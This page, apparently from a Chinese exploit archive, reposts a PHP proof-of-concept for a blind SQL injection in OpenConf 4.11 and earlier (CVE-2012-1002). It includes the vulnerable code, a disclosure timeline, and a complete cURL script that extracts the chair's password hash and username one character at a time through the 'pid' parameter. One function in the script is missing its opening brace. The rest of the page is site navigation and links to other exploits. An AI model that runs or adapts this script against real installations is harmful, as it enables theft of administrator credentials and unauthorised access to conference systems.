首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenConf <= 4.11 (author/edit.php) Remote Blind SQL Injection Exploit
来源:n0b0d13s[at]gmail[dot]com 作者:EgiX 发布时间:2012-05-03  

<?php

/*
  ---------------------------------------------------------------------
  OpenConf <= 4.11 (author/edit.php) Remote Blind SQL Injection Exploit
  ---------------------------------------------------------------------
 
  author...............: Egidio Romano aka EgiX
  mail.................: n0b0d13s[at]gmail[dot]com
  software link........: http://www.openconf.com/
  affected versions....: from 4.00 to 4.11
 
  +-------------------------------------------------------------------------+
  | This proof of concept code was written for educational purpose only.    |
  | Use it at your own risk. Author will be not responsible for any damage. |
  +-------------------------------------------------------------------------+
 
  [-] Vulnerable code in /author/edit.php:
 
  104.  // get sub
  105.  $anr = ocsql_query("SELECT * FROM `" . OCC_TABLE_PAPER . "` WHERE `paperid`=" . safeSQLstr($_POST['pid'])) ...
  106.  if (mysql_num_rows($anr) != 1) {
  107.   err(oc_('Submission ID or password entered is incorrect'));
  108.  }
  109.  $_POST = array_merge($_POST, mysql_fetch_assoc($anr));
 
  User input passed through $_POST['pid'] seems correctly sanitised by the safeSQLstr() function, but in the query
  at line 105,  single quotes aren't  used before  concatenate the user input  into the query string.  This can be
  exploited to conduct a  Blind SQL Injection  attack.  Successful exploitation of  this vulnerability requires at
  least a record into the 'paper' table, and 'Edit Submission' to be enabled.

  [-] Disclosure timeline:
 
  [27/01/2012] - Vulnerability discovered
  [01/02/2012] - Issue reported to bugs(at)openconf.com
  [02/02/2012] - Version 4.12 released: http://www.openconf.com/news/#20120202
  [02/02/2012] - CVE number requested
  [02/02/2012] - Assigned CVE-2012-1002
  [02/05/2012] - Public disclosure
 
*/

if (!extension_loaded('curl')) die("cURL extension required\n");

error_reporting(E_ERROR);
set_time_limit(0);

function http_get($page)
{
  global $ch, $argv;
 
  curl_setopt($ch, CURLOPT_URL, $argv[1].$page);
  curl_setopt($ch, CURLOPT_GET, true);

  return curl_exec($ch);
}

function http_post($page, $data)

  global $ch, $argv;
 
  curl_setopt($ch, CURLOPT_URL, $argv[1].$page);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

  return curl_exec($ch);
}

function hex_enc($sql)
{
  for ($i = 0, $n = strlen($sql); $i < $n; $i++)
    $encoded .= dechex(ord($sql[$i]));
  return "0x{$encoded}";
}

print "\n+-------------------------------------------------------------+";
print "\n| OpenConf <= 4.11 Remote Blind SQL Injection Exploit by EgiX |";
print "\n+-------------------------------------------------------------+\n";

if ($argc < 2)
{
  print "\nUsage......: php $argv[0] <url>\n";
  print "\nExample....: php $argv[0] http://127.0.0.1/";
  print "\nExample....: php $argv[0] http://localhost/openconf/\n";
  die();
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

if (!preg_match('/href="author\/edit.php"/', http_get('openconf.php'))) die("\n[-] Failed: submission edit disabled\n");

$index = 1;
$hash  = '';
$chars = array_merge(range(48, 57), range(97, 102), array(0)); // 0-9 a-f

print "\n[-] Chair password hash...: ";

while (!strpos($hash,chr(0)))
{
  for ($i = 0, $n = count($chars); $i <= $n; $i++)
  {
    if ($i == $n) die("\n[-] Exploit failed!\n");
    $sql = urlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=".hex_enc("OC_chair_pwd").") LIMIT 1#");
    if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) { $hash .= chr($chars[$i]); print chr($chars[$i]); break; }
  }
  $index++;
}

$index = 1;
$user  = '';
$chars = array_merge(array(0), range(97, 172), array(95), range(48, 57)); // Any "word" character

print "\n[-] Chair username........: ";

while (!strpos($user,chr(0)))
{
  for ($i = 0, $n = count($chars); $i <= $n; $i++)
  {
    if ($i == $n) die("\n[-] Exploit failed!\n");
    $sql = rawurlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=".hex_enc("OC_chair_uname").") LIMIT 1#");
    if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) { $user .= chr($chars[$i]); print chr($chars[$i]); break; }
  }
  $index++;
}
print "\n";
?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows xp Win32k.sy
·Symantec pcAnywhere Insecure F
·Format Factory v2.95 - Buffer
·VLC MMS Stream Handling Buffer
·AnvSoft Any Video Converter 4.
·Solarwinds Storage Manager 5.1
·Mikrotik Router Denial of Serv
·Solarwinds Storage Manager 5.1
·LAN Messenger <= v1.2.28 Denia
·PHP CGI Argument Injection
·McAfee Virtual Technician MVTC
·PHP CGI Argument Injection Exp
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved